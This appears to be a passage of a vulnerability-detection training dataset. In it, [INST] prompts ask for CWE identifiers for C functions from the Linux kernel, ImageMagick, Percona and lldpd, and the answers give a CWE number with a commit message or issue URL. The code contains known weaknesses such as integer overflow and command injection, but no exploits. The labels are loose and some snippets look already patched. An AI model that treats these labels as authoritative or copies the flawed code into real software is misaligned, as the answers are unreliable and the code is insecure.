in teardown paths\n\nWe need to make sure we cancel the reinit work before we tear down the\ndriver structures.\n\nReported-by: Bodong Zhao \nTested-by: Bodong Zhao \nCc: stable@vger.kernel.org\nSigned-off-by: Dmitry Torokhov '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int vt_io_fontreset(struct console_font_op *op)\n{\n\tint ret;\n\n\tif (__is_defined(BROKEN_GRAPHICS_PROGRAMS)) {\n\t\t/*\n\t\t * With BROKEN_GRAPHICS_PROGRAMS defined, the default font is\n\t\t * not saved.\n\t\t */\n\t\treturn -ENOSYS;\n\t}\n\n\top->op = KD_FONT_OP_SET_DEFAULT;\n\top->data = NULL;\n\tret = con_font_op(vc_cons[fg_console].d, op);\n\tif (ret)\n\t\treturn ret;\n\n\tconsole_lock();\n\tcon_set_default_unimap(vc_cons[fg_console].d);\n\tconsole_unlock();\n\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-662'], 'message': 'tty: make FONTX ioctl use the tty pointer they were actually passed\n\nSome of the font tty ioctl's always used the current foreground VC for\ntheir operations. Don't do that then.\n\nThis fixes a data race on fg_console.\n\nSide note: both Michael Ellerman and Jiri Slaby point out that all these\nioctls are deprecated, and should probably have been removed long ago,\nand everything seems to be using the KDFONTOP ioctl instead.\n\nIn fact, Michael points out that it looks like busybox's loadfont\nprogram seems to have switched over to using KDFONTOP exactly _because_\nof this bug (ahem.. 12 years ago ;-).\n\nReported-by: Minh Yuan \nAcked-by: Michael Ellerman \nAcked-by: Jiri Slaby \nCc: Greg KH \nSigned-off-by: Linus Torvalds '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: MagickExport MagickStatusType ParseMetaGeometry(const char *geometry,ssize_t *x,\n ssize_t *y,size_t *width,size_t *height)\n{\n GeometryInfo\n geometry_info;\n\n MagickStatusType\n flags;\n\n size_t\n former_height,\n former_width;\n\n /*\n Ensure the image geometry is valid.\n */\n assert(x != (ssize_t *) NULL);\n assert(y != (ssize_t *) NULL);\n assert(width != (size_t *) NULL);\n assert(height != (size_t *) NULL);\n if ((geometry == (char *) NULL) || (*geometry == '\\0'))\n return(NoValue);\n (void) LogMagickEvent(TraceEvent,GetMagickModule(),\"%s\",geometry);\n /*\n Parse geometry using GetGeometry.\n */\n SetGeometryInfo(&geometry_info);\n former_width=(*width);\n former_height=(*height);\n flags=GetGeometry(geometry,x,y,width,height);\n if ((flags & PercentValue) != 0)\n {\n MagickStatusType\n percent_flags;\n\n PointInfo\n scale;\n\n /*\n Geometry is a percentage of the image size.\n */\n percent_flags=ParseGeometry(geometry,&geometry_info);\n scale.x=geometry_info.rho;\n if ((percent_flags & RhoValue) == 0)\n scale.x=100.0;\n scale.y=geometry_info.sigma;\n if ((percent_flags & SigmaValue) == 0)\n scale.y=scale.x;\n *width=(size_t) MagickMax(floor(scale.x*former_width/100.0+0.5),1.0);\n *height=(size_t) MagickMax(floor(scale.y*former_height/100.0+0.5),1.0);\n former_width=(*width);\n former_height=(*height);\n }\n if ((flags & AspectRatioValue) != 0)\n {\n double\n geometry_ratio,\n image_ratio;\n\n /*\n Geometry is a relative to image size and aspect ratio.\n */\n (void) ParseGeometry(geometry,&geometry_info);\n geometry_ratio=geometry_info.rho;\n image_ratio=(double) former_width*\n PerceptibleReciprocal((double) former_height);\n if (geometry_ratio >= image_ratio)\n {\n *width=former_width;\n *height=(size_t) floor((double) (former_height*image_ratio/\n geometry_ratio)+0.5);\n }\n else\n {\n *width=(size_t) floor((double) (former_width*geometry_ratio/\n image_ratio)+0.5);\n *height=former_height;\n }\n former_width=(*width);\n former_height=(*height);\n }\n if (((flags & AspectValue) != 0) || ((*width == former_width) &&\n (*height == former_height)))\n {\n if ((flags & RhoValue) == 0)\n *width=former_width;\n if ((flags & SigmaValue) == 0)\n *height=former_height;\n }\n else\n {\n double\n scale_factor;\n\n /*\n Respect aspect ratio of the image.\n */\n if ((former_width == 0) || (former_height == 0))\n scale_factor=1.0;\n else\n if (((flags & RhoValue) != 0) && (flags & SigmaValue) != 0)\n {\n scale_factor=(double) *width/(double) former_width;\n if ((flags & MinimumValue) == 0)\n {\n if (scale_factor > ((double) *height/(double) former_height))\n scale_factor=(double) *height/(double) former_height;\n }\n else\n if (scale_factor < ((double) *height/(double) former_height))\n scale_factor=(double) *height/(double) former_height;\n }\n else\n if ((flags & RhoValue) != 0)\n {\n scale_factor=(double) *width/(double) former_width;\n if (((flags & MinimumValue) != 0) &&\n (scale_factor < ((double) *width/(double) former_height)))\n scale_factor=(double) *width/(double) former_height;\n }\n else\n {\n scale_factor=(double) *height/(double) former_height;\n if (((flags & MinimumValue) != 0) &&\n (scale_factor < ((double) *height/(double) former_width)))\n scale_factor=(double) *height/(double) former_width;\n }\n *width=MagickMax((size_t) floor(scale_factor*former_width+0.5),1UL);\n *height=MagickMax((size_t) floor(scale_factor*former_height+0.5),1UL);\n }\n if ((flags & GreaterValue) != 0)\n {\n if (former_width < *width)\n *width=former_width;\n if (former_height < *height)\n *height=former_height;\n }\n if ((flags & LessValue) != 0)\n {\n if (former_width > *width)\n *width=former_width;\n if (former_height > *height)\n *height=former_height;\n }\n if ((flags & AreaValue) != 0)\n {\n double\n area,\n distance;\n\n PointInfo\n scale;\n\n /*\n Geometry is a maximum area in pixels.\n */\n (void) ParseGeometry(geometry,&geometry_info);\n area=geometry_info.rho+sqrt(MagickEpsilon);\n distance=sqrt((double) former_width*former_height);\n scale.x=(double) former_width*PerceptibleReciprocal(distance/sqrt(area));\n scale.y=(double) former_height*PerceptibleReciprocal(distance/sqrt(area));\n if ((scale.x < (double) *width) || (scale.y < (double) *height))\n {\n *width=(unsigned long) (former_width*PerceptibleReciprocal(\n distance/sqrt(area)));\n *height=(unsigned long) (former_height*PerceptibleReciprocal(\n distance/sqrt(area)));\n }\n former_width=(*width);\n former_height=(*height);\n }\n return(flags);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-369'], 'message': 'https://github.com/ImageMagick/ImageMagick/issues/1725'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static MagickBooleanType WriteHDRImage(const ImageInfo *image_info,Image *image,\n ExceptionInfo *exception)\n{\n char\n header[MagickPathExtent];\n\n const char\n *property;\n\n MagickBooleanType\n status;\n\n register const Quantum\n *p;\n\n register ssize_t\n i,\n x;\n\n size_t\n length;\n\n ssize_t\n count,\n y;\n\n unsigned char\n pixel[4],\n *pixels;\n\n /*\n Open output image file.\n */\n assert(image_info != (const ImageInfo *) NULL);\n assert(image_info->signature == MagickCoreSignature);\n assert(image != (Image *) NULL);\n assert(image->signature == MagickCoreSignature);\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(TraceEvent,GetMagickModule(),\"%s\",image->filename);\n assert(exception != (ExceptionInfo *) NULL);\n assert(exception->signature == MagickCoreSignature);\n status=OpenBlob(image_info,image,WriteBinaryBlobMode,exception);\n if (status == MagickFalse)\n return(status);\n if (IsRGBColorspace(image->colorspace) == MagickFalse)\n (void) TransformImageColorspace(image,RGBColorspace,exception);\n /*\n Write header.\n */\n (void) memset(header,' ',MagickPathExtent);\n length=CopyMagickString(header,\"#?RADIANCE\\n\",MagickPathExtent);\n (void) WriteBlob(image,length,(unsigned char *) header);\n property=GetImageProperty(image,\"comment\",exception);\n if ((property != (const char *) NULL) &&\n (strchr(property,'\\n') == (char *) NULL))\n {\n count=FormatLocaleString(header,MagickPathExtent,\"#%.*s\\n\",\n MagickPathExtent-3,property);\n (void) WriteBlob(image,(size_t) count,(unsigned char *) header);\n }\n property=GetImageProperty(image,\"hdr:exposure\",exception);\n if (property != (const char *) NULL)\n {\n count=FormatLocaleString(header,MagickPathExtent,\"EXPOSURE=%g\\n\",\n strtod(property,(char **) NULL));\n (void) WriteBlob(image,(size_t) count,(unsigned char *) header);\n }\n if (image->gamma != 0.0)\n {\n count=FormatLocaleString(header,MagickPathExtent,\"GAMMA=%g\\n\",\n image->gamma);\n (void) WriteBlob(image,(size_t) count,(unsigned char *) header);\n }\n count=FormatLocaleString(header,MagickPathExtent,\n \"PRIMARIES=%g %g %g %g %g %g %g %g\\n\",\n image->chromaticity.red_primary.x,image->chromaticity.red_primary.y,\n image->chromaticity.green_primary.x,image->chromaticity.green_primary.y,\n image->chromaticity.blue_primary.x,image->chromaticity.blue_primary.y,\n image->chromaticity.white_point.x,image->chromaticity.white_point.y);\n (void) WriteBlob(image,(size_t) count,(unsigned char *) header);\n length=CopyMagickString(header,\"FORMAT=32-bit_rle_rgbe\\n\\n\",MagickPathExtent);\n (void) WriteBlob(image,length,(unsigned char *) header);\n count=FormatLocaleString(header,MagickPathExtent,\"-Y %.20g +X %.20g\\n\",\n (double) image->rows,(double) image->columns);\n (void) WriteBlob(image,(size_t) count,(unsigned char *) header);\n /*\n Write HDR pixels.\n */\n pixels=(unsigned char *) AcquireQuantumMemory(image->columns+128,4*\n sizeof(*pixels));\n if (pixels == (unsigned char *) NULL)\n ThrowWriterException(ResourceLimitError,\"MemoryAllocationFailed\");\n (void) memset(pixels,0,4*(image->columns+128)*sizeof(*pixels));\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n p=GetVirtualPixels(image,0,y,image->columns,1,exception);\n if (p == (const Quantum *) NULL)\n break;\n if ((image->columns >= 8) && (image->columns <= 0x7ffff))\n {\n pixel[0]=2;\n pixel[1]=2;\n pixel[2]=(unsigned char) (image->columns >> 8);\n pixel[3]=(unsigned char) (image->columns & 0xff);\n count=WriteBlob(image,4*sizeof(*pixel),pixel);\n if (count != (ssize_t) (4*sizeof(*pixel)))\n break;\n }\n i=0;\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n double\n gamma;\n\n pixel[0]=0;\n pixel[1]=0;\n pixel[2]=0;\n pixel[3]=0;\n gamma=QuantumScale*GetPixelRed(image,p);\n if ((QuantumScale*GetPixelGreen(image,p)) > gamma)\n gamma=QuantumScale*GetPixelGreen(image,p);\n if ((QuantumScale*GetPixelBlue(image,p)) > gamma)\n gamma=QuantumScale*GetPixelBlue(image,p);\n if (gamma > MagickEpsilon)\n {\n int\n exponent;\n\n gamma=frexp(gamma,&exponent)*256.0/gamma;\n pixel[0]=(unsigned char) (gamma*QuantumScale*GetPixelRed(image,p));\n pixel[1]=(unsigned char) (gamma*QuantumScale*GetPixelGreen(image,p));\n pixel[2]=(unsigned char) (gamma*QuantumScale*GetPixelBlue(image,p));\n pixel[3]=(unsigned char) (exponent+128);\n }\n if ((image->columns >= 8) && (image->columns <= 0x7ffff))\n {\n pixels[x]=pixel[0];\n pixels[x+image->columns]=pixel[1];\n pixels[x+2*image->columns]=pixel[2];\n pixels[x+3*image->columns]=pixel[3];\n }\n else\n {\n pixels[i++]=pixel[0];\n pixels[i++]=pixel[1];\n pixels[i++]=pixel[2];\n pixels[i++]=pixel[3];\n }\n p+=GetPixelChannels(image);\n }\n if ((image->columns >= 8) && (image->columns <= 0x7ffff))\n {\n for (i=0; i < 4; i++)\n length=HDRWriteRunlengthPixels(image,&pixels[i*image->columns]);\n }\n else\n {\n count=WriteBlob(image,4*image->columns*sizeof(*pixels),pixels);\n if (count != (ssize_t) (4*image->columns*sizeof(*pixels)))\n break;\n }\n status=SetImageProgress(image,SaveImageTag,(MagickOffsetType) y,\n image->rows);\n if (status == MagickFalse)\n break;\n }\n pixels=(unsigned char *) RelinquishMagickMemory(pixels);\n (void) CloseBlob(image);\n return(MagickTrue);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-190'], 'message': 'https://github.com/ImageMagick/ImageMagick/issues/1713'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static inline unsigned int ScaleQuantumToLong(const Quantum quantum)\n{\n#if !defined(MAGICKCORE_HDRI_SUPPORT)\n return((unsigned int) quantum);\n#else\n if (quantum <= 0.0)\n return(0);\n if ((quantum) >= 4294967295.0)\n return(4294967295);\n return((unsigned int) (quantum+0.5));\n#endif\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-190'], 'message': 'https://github.com/ImageMagick/ImageMagick/issues/1751'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static inline unsigned int ScaleQuantumToLong(const Quantum quantum)\n{\n#if !defined(MAGICKCORE_HDRI_SUPPORT)\n return((unsigned int) (16843009UL*quantum));\n#else\n if (quantum <= 0.0)\n return(0UL);\n if ((16843009.0*quantum) >= 4294967295.0)\n return(4294967295UL);\n return((unsigned int) (16843009.0*quantum+0.5));\n#endif\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-190'], 'message': 'https://github.com/ImageMagick/ImageMagick/issues/1751'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static bool is_sst_request_valid(const std::string &msg) {\n size_t method_len = strlen(msg.c_str());\n\n if (method_len == 0) {\n return false;\n }\n\n std::string method = msg.substr(0, method_len);\n\n // Is this method allowed?\n auto res = std::find(std::begin(allowed_sst_methods),\n std::end(allowed_sst_methods), method);\n if (res == std::end(allowed_sst_methods)) {\n return false;\n }\n\n const char *data_ptr = msg.c_str() + method_len + 1;\n size_t data_len = strlen(data_ptr);\n\n // method + null + data + null\n if (method_len + 1 + data_len + 1 != msg.length()) {\n // Someone tries to piggyback after 2nd null\n return false;\n }\n\n if (data_len > 0) {\n /* We allow custom sst scripts, so data can be anything.\n\n We could create and maintain the list of forbidden\n characters and the ways they could be used to inject the command to\n the OS. However this approach seems to be too error prone.\n Instead of this we will just allow alpha-num + a few special characters\n (colon, slash, dot, underscore, square brackets). */\n std::string data = msg.substr(method_len + 1, data_len);\n static const std::regex allowed_chars_regex(\"[\\\\w:\\\\/\\\\.\\\\[\\\\]]+\");\n if (!std::regex_match(data, allowed_chars_regex)) {\n return false;\n }\n }\n return true;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-77'], 'message': 'PXC-3392: Donor uses invalid SST methods\n\nDot allowed in SST method name.\nHyphen allowed in SST data.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: lldp_decode(struct lldpd *cfg, char *frame, int s,\n struct lldpd_hardware *hardware,\n struct lldpd_chassis **newchassis, struct lldpd_port **newport)\n{\n\tstruct lldpd_chassis *chassis;\n\tstruct lldpd_port *port;\n\tconst char lldpaddr[] = LLDP_MULTICAST_ADDR;\n\tconst char dot1[] = LLDP_TLV_ORG_DOT1;\n\tconst char dot3[] = LLDP_TLV_ORG_DOT3;\n\tconst char med[] = LLDP_TLV_ORG_MED;\n\tconst char dcbx[] = LLDP_TLV_ORG_DCBX;\n\tunsigned char orgid[3];\n\tint length, gotend = 0, ttl_received = 0;\n\tint tlv_size, tlv_type, tlv_subtype;\n\tu_int8_t *pos, *tlv;\n\tchar *b;\n#ifdef ENABLE_DOT1\n\tstruct lldpd_vlan *vlan = NULL;\n\tint vlan_len;\n\tstruct lldpd_ppvid *ppvid;\n\tstruct lldpd_pi *pi = NULL;\n#endif\n\tstruct lldpd_mgmt *mgmt;\n\tint af;\n\tu_int8_t addr_str_length, addr_str_buffer[32];\n\tu_int8_t addr_family, addr_length, *addr_ptr, iface_subtype;\n\tu_int32_t iface_number, iface;\n#ifdef ENABLE_CUSTOM\n\tstruct lldpd_custom *custom = NULL;\n#endif\n\n\tlog_debug(\"lldp\", \"receive LLDP PDU on %s\",\n\t hardware->h_ifname);\n\n\tif ((chassis = calloc(1, sizeof(struct lldpd_chassis))) == NULL) {\n\t\tlog_warn(\"lldp\", \"failed to allocate remote chassis\");\n\t\treturn -1;\n\t}\n\tTAILQ_INIT(&chassis->c_mgmt);\n\tif ((port = calloc(1, sizeof(struct lldpd_port))) == NULL) {\n\t\tlog_warn(\"lldp\", \"failed to allocate remote port\");\n\t\tfree(chassis);\n\t\treturn -1;\n\t}\n#ifdef ENABLE_DOT1\n\tTAILQ_INIT(&port->p_vlans);\n\tTAILQ_INIT(&port->p_ppvids);\n\tTAILQ_INIT(&port->p_pids);\n#endif\n#ifdef ENABLE_CUSTOM\n\tTAILQ_INIT(&port->p_custom_list);\n#endif\n\n\tlength = s;\n\tpos = (u_int8_t*)frame;\n\n\tif (length < 2*ETHER_ADDR_LEN + sizeof(u_int16_t)) {\n\t\tlog_warnx(\"lldp\", \"too short frame received on %s\", hardware->h_ifname);\n\t\tgoto malformed;\n\t}\n\tif (PEEK_CMP(lldpaddr, ETHER_ADDR_LEN) != 0) {\n\t\tlog_info(\"lldp\", \"frame not targeted at LLDP multicast address received on %s\",\n\t\t hardware->h_ifname);\n\t\tgoto malformed;\n\t}\n\tPEEK_DISCARD(ETHER_ADDR_LEN);\t/* Skip source address */\n\tif (PEEK_UINT16 != ETHERTYPE_LLDP) {\n\t\tlog_info(\"lldp\", \"non LLDP frame received on %s\",\n\t\t hardware->h_ifname);\n\t\tgoto malformed;\n\t}\n\n\twhile (length && (!gotend)) {\n\t\tif (length < 2) {\n\t\t\tlog_warnx(\"lldp\", \"tlv header too short received on %s\",\n\t\t\t hardware->h_ifname);\n\t\t\tgoto malformed;\n\t\t}\n\t\ttlv_size = PEEK_UINT16;\n\t\ttlv_type = tlv_size >> 9;\n\t\ttlv_size = tlv_size & 0x1ff;\n\t\t(void)PEEK_SAVE(tlv);\n\t\tif (length < tlv_size) {\n\t\t\tlog_warnx(\"lldp\", \"frame too short for tlv received on %s\",\n\t\t\t hardware->h_ifname);\n\t\t\tgoto malformed;\n\t\t}\n\t\tswitch (tlv_type) {\n\t\tcase LLDP_TLV_END:\n\t\t\tif (tlv_size != 0) {\n\t\t\t\tlog_warnx(\"lldp\", \"lldp end received with size not null on %s\",\n\t\t\t\t hardware->h_ifname);\n\t\t\t\tgoto malformed;\n\t\t\t}\n\t\t\tif (length)\n\t\t\t\tlog_debug(\"lldp\", \"extra data after lldp end on %s\",\n\t\t\t\t hardware->h_ifname);\n\t\t\tgotend = 1;\n\t\t\tbreak;\n\t\tcase LLDP_TLV_CHASSIS_ID:\n\t\tcase LLDP_TLV_PORT_ID:\n\t\t\tCHECK_TLV_SIZE(2, \"Port Id\");\n\t\t\ttlv_subtype = PEEK_UINT8;\n\t\t\tif ((tlv_subtype == 0) || (tlv_subtype > 7)) {\n\t\t\t\tlog_warnx(\"lldp\", \"unknown subtype for tlv id received on %s\",\n\t\t\t\t hardware->h_ifname);\n\t\t\t\tgoto malformed;\n\t\t\t}\n\t\t\tif ((b = (char *)calloc(1, tlv_size - 1)) == NULL) {\n\t\t\t\tlog_warn(\"lldp\", \"unable to allocate memory for id tlv \"\n\t\t\t\t \"received on %s\",\n\t\t\t\t hardware->h_ifname);\n\t\t\t\tgoto malformed;\n\t\t\t}\n\t\t\tPEEK_BYTES(b, tlv_size - 1);\n\t\t\tif (tlv_type == LLDP_TLV_PORT_ID) {\n\t\t\t\tport->p_id_subtype = tlv_subtype;\n\t\t\t\tport->p_id = b;\n\t\t\t\tport->p_id_len = tlv_size - 1;\n\t\t\t} else {\n\t\t\t\tchassis->c_id_subtype = tlv_subtype;\n\t\t\t\tchassis->c_id = b;\n\t\t\t\tchassis->c_id_len = tlv_size - 1;\n\t\t\t}\n\t\t\tbreak;\n\t\tcase LLDP_TLV_TTL:\n\t\t\tCHECK_TLV_SIZE(2, \"TTL\");\n\t\t\tchassis->c_ttl = PEEK_UINT16;\n\t\t\tttl_received = 1;\n\t\t\tbreak;\n\t\tcase LLDP_TLV_PORT_DESCR:\n\t\tcase LLDP_TLV_SYSTEM_NAME:\n\t\tcase LLDP_TLV_SYSTEM_DESCR:\n\t\t\tif (tlv_size < 1) {\n\t\t\t\tlog_debug(\"lldp\", \"empty tlv received on %s\",\n\t\t\t\t hardware->h_ifname);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tif ((b = (char *)calloc(1, tlv_size + 1)) == NULL) {\n\t\t\t\tlog_warn(\"lldp\", \"unable to allocate memory for string tlv \"\n\t\t\t\t \"received on %s\",\n\t\t\t\t hardware->h_ifname);\n\t\t\t\tgoto malformed;\n\t\t\t}\n\t\t\tPEEK_BYTES(b, tlv_size);\n\t\t\tif (tlv_type == LLDP_TLV_PORT_DESCR)\n\t\t\t\tport->p_descr = b;\n\t\t\telse if (tlv_type == LLDP_TLV_SYSTEM_NAME)\n\t\t\t\tchassis->c_name = b;\n\t\t\telse chassis->c_descr = b;\n\t\t\tbreak;\n\t\tcase LLDP_TLV_SYSTEM_CAP:\n\t\t\tCHECK_TLV_SIZE(4, \"System capabilities\");\n\t\t\tchassis->c_cap_available = PEEK_UINT16;\n\t\t\tchassis->c_cap_enabled = PEEK_UINT16;\n\t\t\tbreak;\n\t\tcase LLDP_TLV_MGMT_ADDR:\n\t\t\tCHECK_TLV_SIZE(1, \"Management address\");\n\t\t\taddr_str_length = PEEK_UINT8;\n\t\t\tif (addr_str_length > sizeof(addr_str_buffer)) {\n\t\t\t\tlog_warnx(\"lldp\", \"too large management address on %s\",\n\t\t\t\t hardware->h_ifname);\n\t\t\t\tgoto malformed;\n\t\t\t}\n\t\t\tCHECK_TLV_SIZE(1 + addr_str_length, \"Management address\");\n\t\t\tPEEK_BYTES(addr_str_buffer, addr_str_length);\n\t\t\taddr_length = addr_str_length - 1;\n\t\t\taddr_family = addr_str_buffer[0];\n\t\t\taddr_ptr = &addr_str_buffer[1];\n\t\t\tCHECK_TLV_SIZE(1 + addr_str_length + 5, \"Management address\");\n\t\t\tiface_subtype = PEEK_UINT8;\n\t\t\tiface_number = PEEK_UINT32;\n\n\t\t\taf = lldpd_af_from_lldp_proto(addr_family);\n\t\t\tif (af == LLDPD_AF_UNSPEC)\n\t\t\t\tbreak;\n\t\t\tif (iface_subtype == LLDP_MGMT_IFACE_IFINDEX)\n\t\t\t\tiface = iface_number;\n\t\t\telse\n\t\t\t\tiface = 0;\n\t\t\tmgmt = lldpd_alloc_mgmt(af, addr_ptr, addr_length, iface);\n\t\t\tif (mgmt == NULL) {\n\t\t\t\tassert(errno == ENOMEM);\n\t\t\t\tlog_warn(\"lldp\", \"unable to allocate memory \"\n\t\t\t\t\t\t\t\"for management address\");\n\t\t\t\t\t\tgoto malformed;\n\t\t\t}\n\t\t\tTAILQ_INSERT_TAIL(&chassis->c_mgmt, mgmt, m_entries);\n\t\t\tbreak;\n\t\tcase LLDP_TLV_ORG:\n\t\t\tCHECK_TLV_SIZE(1 + (int)sizeof(orgid), \"Organisational\");\n\t\t\tPEEK_BYTES(orgid, sizeof(orgid));\n\t\t\ttlv_subtype = PEEK_UINT8;\n\t\t\tif (memcmp(dot1, orgid, sizeof(orgid)) == 0) {\n#ifndef ENABLE_DOT1\n\t\t\t\thardware->h_rx_unrecognized_cnt++;\n#else\n\t\t\t\t/* Dot1 */\n\t\t\t\tswitch (tlv_subtype) {\n\t\t\t\tcase LLDP_TLV_DOT1_VLANNAME:\n\t\t\t\t\tCHECK_TLV_SIZE(7, \"VLAN\");\n\t\t\t\t\tif ((vlan = (struct lldpd_vlan *)calloc(1,\n\t\t\t\t\t\t sizeof(struct lldpd_vlan))) == NULL) {\n\t\t\t\t\t\tlog_warn(\"lldp\", \"unable to alloc vlan \"\n\t\t\t\t\t\t \"structure for \"\n\t\t\t\t\t\t \"tlv received on %s\",\n\t\t\t\t\t\t hardware->h_ifname);\n\t\t\t\t\t\tgoto malformed;\n\t\t\t\t\t}\n\t\t\t\t\tvlan->v_vid = PEEK_UINT16;\n\t\t\t\t\tvlan_len = PEEK_UINT8;\n\t\t\t\t\tCHECK_TLV_SIZE(7 + vlan_len, \"VLAN\");\n\t\t\t\t\tif ((vlan->v_name =\n\t\t\t\t\t\t(char *)calloc(1, vlan_len + 1)) == NULL) {\n\t\t\t\t\t\tlog_warn(\"lldp\", \"unable to alloc vlan name for \"\n\t\t\t\t\t\t \"tlv received on %s\",\n\t\t\t\t\t\t hardware->h_ifname);\n\t\t\t\t\t\tgoto malformed;\n\t\t\t\t\t}\n\t\t\t\t\tPEEK_BYTES(vlan->v_name, vlan_len);\n\t\t\t\t\tTAILQ_INSERT_TAIL(&port->p_vlans,\n\t\t\t\t\t vlan, v_entries);\n\t\t\t\t\tvlan = NULL;\n\t\t\t\t\tbreak;\n\t\t\t\tcase LLDP_TLV_DOT1_PVID:\n\t\t\t\t\tCHECK_TLV_SIZE(6, \"PVID\");\n\t\t\t\t\tport->p_pvid = PEEK_UINT16;\n\t\t\t\t\tbreak;\n\t\t\t\tcase LLDP_TLV_DOT1_PPVID:\n\t\t\t\t\tCHECK_TLV_SIZE(7, \"PPVID\");\n\t\t\t\t\t/* validation needed */\n\t\t\t\t\t/* PPVID has to be unique if more than\n\t\t\t\t\t one PPVID TLVs are received - \n\t\t\t\t\t discard if duplicate */\n\t\t\t\t\t/* if support bit is not set and \n\t\t\t\t\t enabled bit is set - PPVID TLV is\n\t\t\t\t\t considered error and discarded */\n\t\t\t\t\t/* if PPVID > 4096 - bad and discard */\n\t\t\t\t\tif ((ppvid = (struct lldpd_ppvid *)calloc(1,\n\t\t\t\t\t\t sizeof(struct lldpd_ppvid))) == NULL) {\n\t\t\t\t\t\tlog_warn(\"lldp\", \"unable to alloc ppvid \"\n\t\t\t\t\t\t \"structure for \"\n\t\t\t\t\t\t \"tlv received on %s\",\n\t\t\t\t\t\t hardware->h_ifname);\n\t\t\t\t\t\tgoto malformed;\n\t\t\t\t\t}\n\t\t\t\t\tppvid->p_cap_status = PEEK_UINT8;\n\t\t\t\t\tppvid->p_ppvid = PEEK_UINT16;\t\n\t\t\t\t\tTAILQ_INSERT_TAIL(&port->p_ppvids,\n\t\t\t\t\t ppvid, p_entries);\n\t\t\t\t\tbreak;\n\t\t\t\tcase LLDP_TLV_DOT1_PI:\n\t\t\t\t\t/* validation needed */\n\t\t\t\t\t/* PI has to be unique if more than \n\t\t\t\t\t one PI TLVs are received - discard\n\t\t\t\t\t if duplicate ?? */\n\t\t\t\t\tCHECK_TLV_SIZE(5, \"PI\");\n\t\t\t\t\tif ((pi = (struct lldpd_pi *)calloc(1,\n\t\t\t\t\t\t sizeof(struct lldpd_pi))) == NULL) {\n\t\t\t\t\t\tlog_warn(\"lldp\", \"unable to alloc PI \"\n\t\t\t\t\t\t \"structure for \"\n\t\t\t\t\t\t \"tlv received on %s\",\n\t\t\t\t\t\t hardware->h_ifname);\n\t\t\t\t\t\tgoto malformed;\n\t\t\t\t\t}\n\t\t\t\t\tpi->p_pi_len = PEEK_UINT8;\n\t\t\t\t\tCHECK_TLV_SIZE(5 + pi->p_pi_len, \"PI\");\n\t\t\t\t\tif ((pi->p_pi =\n\t\t\t\t\t\t(char *)calloc(1, pi->p_pi_len)) == NULL) {\n\t\t\t\t\t\tlog_warn(\"lldp\", \"unable to alloc pid name for \"\n\t\t\t\t\t\t \"tlv received on %s\",\n\t\t\t\t\t\t hardware->h_ifname);\n\t\t\t\t\t\tgoto malformed;\n\t\t\t\t\t}\n\t\t\t\t\tPEEK_BYTES(pi->p_pi, pi->p_pi_len);\n\t\t\t\t\tTAILQ_INSERT_TAIL(&port->p_pids,\n\t\t\t\t\t pi, p_entries);\n\t\t\t\t\tpi = NULL;\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\t/* Unknown Dot1 TLV, ignore it */\n\t\t\t\t\thardware->h_rx_unrecognized_cnt++;\n\t\t\t\t}\n#endif\n\t\t\t} else if (memcmp(dot3, orgid, sizeof(orgid)) == 0) {\n#ifndef ENABLE_DOT3\n\t\t\t\thardware->h_rx_unrecognized_cnt++;\n#else\n\t\t\t\t/* Dot3 */\n\t\t\t\tswitch (tlv_subtype) {\n\t\t\t\tcase LLDP_TLV_DOT3_MAC:\n\t\t\t\t\tCHECK_TLV_SIZE(9, \"MAC/PHY\");\n\t\t\t\t\tport->p_macphy.autoneg_support = PEEK_UINT8;\n\t\t\t\t\tport->p_macphy.autoneg_enabled =\n\t\t\t\t\t (port->p_macphy.autoneg_support & 0x2) >> 1;\n\t\t\t\t\tport->p_macphy.autoneg_support =\n\t\t\t\t\t port->p_macphy.autoneg_support & 0x1;\n\t\t\t\t\tport->p_macphy.autoneg_advertised =\n\t\t\t\t\t PEEK_UINT16;\n\t\t\t\t\tport->p_macphy.mau_type = PEEK_UINT16;\n\t\t\t\t\tbreak;\n\t\t\t\tcase LLDP_TLV_DOT3_LA:\n\t\t\t\t\tCHECK_TLV_SIZE(9, \"Link aggregation\");\n\t\t\t\t\tPEEK_DISCARD_UINT8;\n\t\t\t\t\tport->p_aggregid = PEEK_UINT32;\n\t\t\t\t\tbreak;\n\t\t\t\tcase 